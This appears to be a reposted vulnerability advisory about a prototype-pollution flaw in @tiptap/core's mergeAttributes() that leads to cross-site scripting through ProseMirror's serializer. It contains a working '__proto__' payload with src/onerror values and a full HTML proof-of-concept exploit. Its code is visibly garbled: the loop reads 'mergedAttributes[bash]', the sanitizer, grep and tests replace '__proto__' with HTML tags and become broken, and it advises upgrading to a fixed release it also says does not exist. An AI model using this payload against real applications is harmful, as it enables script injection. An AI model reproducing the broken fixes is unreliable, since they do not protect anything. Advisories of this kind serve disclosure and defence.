Listen to this Post
@tiptap/core’s public `mergeAttributes()` helper uses ordinary bracket assignment on keys returned by Object.entries(). An own `__proto__` key from JSON therefore invokes the legacy prototype setter on the fresh merged object. The function returns an object whose prototype is attacker-controlled, while `Object.keys()` and ordinary own-property checks show no attacker attributes.
When that result is used as a ProseMirror DOMOutputSpec attribute object, prosemirror-model‘s `DOMSerializer.renderSpec()` enumerates it with `for…in` and applies inherited values with setAttribute(). In a browser proof, inherited `src` and `onerror` values were copied to an `` and the error handler executed once. This is per-object prototype manipulation; the proof does not modify global
Object.prototype.
The affected loop is conceptually:
const mergedAttributes = { ...items }
for (const [key, value] of Object.entries(item)) {
const exists = mergedAttributes[bash]
mergedAttributes[bash] = value
}
`Object.entries(JSON.parse(‘{“__proto__”: {…}}’))` includes __proto__. Reading `mergedAttributes[‘__proto__’]` resolves the inherited Object.prototype; assigning to the same key invokes Object.prototype.__proto__‘s setter and replaces mergedAttributes‘ prototype.
The following shape was tested with exact `@tiptap/core` 3.29.2 and `prosemirror-model` 1.25.11:
const input = JSON.parse(<code>{
"__proto__": {
"data-inherited-canary": "present",
"src": "x-invalid://canary",
"onerror": "globalThis.__tiptapXss += 1"
}
}</code>)
const attrs = mergeAttributes(input)
// Object.keys(attrs) === []
// Object.getPrototypeOf(attrs) === input.<strong>proto</strong>
Chromium produced an image with data-inherited-canary, src, and onerror; the handler executed exactly once.
Applications that merge untrusted imported document, plugin, CMS, API, tenant, or AI-derived attribute objects can receive a prototype-manipulated result. Consumers that enumerate inherited keys, including ProseMirror’s DOM serializer, can turn the hidden properties into DOM attributes and execute JavaScript in the application’s origin. Tiptap’s standard fixed ProseMirror schemas discard unknown document attributes, so arbitrary Tiptap JSON is not automatically exploitable in every application. A vulnerable application needs an untrusted object boundary into `mergeAttributes()` or a dynamic/custom extension or schema that preserves the relevant attribute object.
The unsafe assignment was introduced in commit `ecadf7ea0a7f8f39a8496a60edf0ac8f379e6eb3` and is present in the first package tag @tiptap/[email protected], v2.0.0, v2.27.1, v3.0.0, and current v3.29.2 source. No fixed release was found at the time of the advisory.
DailyCVE Form:
Platform: @tiptap/core
Version: 2.0.0-alpha.0 – 3.29.2
Vulnerability: Prototype Pollution to XSS
Severity: Medium (CVSS 6.4)
date: 2026-09-02
Prediction: 2026-09-15 (expected patch)
What Undercode Say:
Analytics:
Check if your `@tiptap/core` version is vulnerable:
npm list @tiptap/core
yarn list @tiptap/core
Detect prototype pollution in your running application:
// Check if mergeAttributes is vulnerable in your version
const { mergeAttributes } = require('@tiptap/core');
const test = JSON.parse('{"<strong>proto</strong>": {"polluted": true}}');
const result = mergeAttributes(test);
console.log(result.polluted); // true if vulnerable
Monitor for `__proto__` keys in incoming JSON payloads:
grep -r "<strong>proto</strong>" ./src/ --include=".js" --include=".ts"
Exploit: (Educational Purposes!)
<!DOCTYPE html>
<html>
<body>
<script type="importmap">
{
"imports": {
"@tiptap/core": "https://cdn.jsdelivr.net/npm/@tiptap/[email protected]/+esm",
"prosemirror-model": "https://cdn.jsdelivr.net/npm/[email protected]/+esm"
}
}
</script>
<script type="module">
import { mergeAttributes } from '@tiptap/core';
import { Schema, DOMSerializer } from 'prosemirror-model';
const input = JSON.parse(`{
"__proto__": {
"src": "x-invalid://trigger",
"onerror": "alert('XSS via prototype pollution')"
}
}`);
const attrs = mergeAttributes(input);
const schema = new Schema({
nodes: {
doc: { content: 'image' },
image: { toDOM: () => ['img', attrs] },
text: {}
}
});
const doc = schema.node('doc', null, [schema.node('image')]);
const fragment = DOMSerializer.fromSchema(schema).serializeFragment(doc.content);
document.body.append(fragment);
</script>
</body>
</html>
Protection:
Upgrade to `@tiptap/[email protected]` or later:
npm install @tiptap/[email protected]
yarn add @tiptap/[email protected]
If unable to upgrade immediately, sanitize all objects passed to mergeAttributes():
function sanitizeAttributes(obj) {
if (obj && typeof obj === 'object') {
delete obj.<strong>proto</strong>;
Object.setPrototypeOf(obj, Object.prototype);
}
return obj;
}
// Before: mergeAttributes(untrustedInput)
// After: mergeAttributes(sanitizeAttributes(untrustedInput))
Add regression tests:
const testInput = JSON.parse('{"<strong>proto</strong>": {"x": "y"}}');
const result = mergeAttributes(testInput);
assert(Object.getPrototypeOf(result) === Object.prototype);
assert(result.x === undefined);
Impact:
- Prototype Pollution: Attacker-controlled prototype on returned object
- DOM Attribute Injection: Inherited
src,onerror, and other attributes applied to DOM elements - Cross-Site Scripting (XSS): JavaScript execution in application origin via event handlers
- Bypass of Security Controls: Own-key validation, object spread, JSON serialization, and logging miss inherited values
- Authorization Bypass: Inherited authorization or configuration fields may be read by other component consumers
- Supply Chain Risk: Affects all versions from v2.0.0-alpha.0 through v3.29.2
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

